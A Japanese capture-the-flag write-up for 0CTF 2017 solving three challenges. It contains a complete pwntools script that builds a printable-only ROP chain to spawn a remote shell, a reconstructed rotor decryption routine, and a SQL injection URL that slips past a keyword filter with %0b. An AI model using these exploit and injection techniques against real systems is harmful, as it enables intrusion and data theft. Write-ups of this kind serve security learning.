0ctf 2017

char

ropできるんだけど、送りこめるデータが識字可能文字だけ、という問題。rop用にlibcが0x5555e000あたりにロードされる。まぁ、ある意味頑張ればできる問題なので、solverは結構いた。

方針は、/bin/shのアドレス(0x556bb7ec)自体は、ロード不可能な文字列を含むので、それに近くてロード可能なアドレスである0x556b7e7eをebxにロードし、ebxに0x396eを足す。そして、システムコールexecve(ebx=“/bin/sh”, ecx = [“/bin/sh”, NULL], edx=0)の状態を作る。

しかし、一度作ったebxのアドレスをecxにコピーする手段が思いつかなかったので、eaxにもう一つ作って(今度は0x556b7e39をロードしてah + alしてal+0x35)、[edx] に書き込んだ。ここで、なぜか(理由はなんにせよ)ecxとedxがrop開始時に同じアドレスを指していることを利用した。

# coding:utf-8

from __future__ import print_function
from pwn import *

shellcode = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef"
shellcode += "(0dU"             # pop ebx
shellcode += "~~kU"             # addr(0x556b7e7e)
shellcode += "7zaU"             # mov eax, 0x20
shellcode += "cBdU"*0x19        # inc eax    0x19 times
shellcode += "`(mU"             # add ah, al
shellcode += "cBdU"*0x35        # inc eax    0x35 times
shellcode += "CNcU"             # add bh, ah
shellcode += ">d_U"             # add bl, al
shellcode += "_mgU"             # pop eax; add esp, 0x5c
shellcode += "9~KU"             # addr(0x556b7e39)
shellcode += "A" * 0x5c         # dummy
shellcode += "`(mU"             # add ah, al
shellcode += "cBdU"*0x35        # inc eax    0x35 times
shellcode += "r{^U"             # mov dword [edx], eax; ea eax, dword [edx+0x03]
shellcode += "z-dU"*0x4         # inc edx; xor eax, eax -> edx +4
shellcode += "r{^U"             # mov dword [edx], eax; ea eax, dword [edx+0x03]
shellcode += "?yaU"             # mov edx, 0xffffffff
shellcode += "z-dU"             # inc edx; xor eax, eax
shellcode += "cBdU"*0xb         # inc eax     0xb times
shellcode += "wqfU"             # int 0x80

print(shellcode)

host = "202.120.7.214"
port = 23222
r = remote(host, port)
r.recvuntil("GO : )")
r.sendline(shellcode)
r.interactive()

# ref
# https://www.goto.info.waseda.ac.jp/~kiire/bin/rop.php
# http://qiita.com/kusano_k/items/ce48945f9ee8763edd1c

py

これも頑張ればできる問題。solverも多かった。pycが渡されるが、なぜかopecodeを入れ替えたらしい(意味不明)。ただ、入れ替えたのはopcodeのみで、opcodeが使う変数などのindexはいじられていないので、opcodeが70以上かどうかは見ればすぐわかるし、ソースコードが短いので、だいたい雰囲気はつかめる。また、ロードしている変数名から、rotorというライブラリを使っているらしいこともわかるのであとは気合を出す。decrypt関数だけ復元したものが次。<39>が、strとintの演算子でずっと[]のどれかだと思っていたのでつらい

def decrypt(data):
    key_a = "!@#$%^&*"
    key_b = "abcdefgh"
    key_c = '<>{}:"'
    key = key_a * 4 + "|" + (key_b + key_a + key_c)*2 + "|" + key_b*2 + "EOF"
    secret = rotor.newrotor(key)
    return secret.decrypt(data)

simplesqlin

まぁ、これは。solver300人くらいいた気がする。%0bを入れると避けられることをtotemさんが教えてどこかへ行ってしまったので、解いた。

http://202.120.7.203/index.php?id=5 union SE%0bLECT 0,0,flag FRO%0bM flag

暇だったので参加したけれど、各位は忙しそうだったので、daiさんと二人での参加に(ほぼ)なった。二日間あったけど、結局最終日の夜あたりが一番やっていた。2日あっても集中できるのは1日もないということなので、CTFは1日でよいという気持ちになった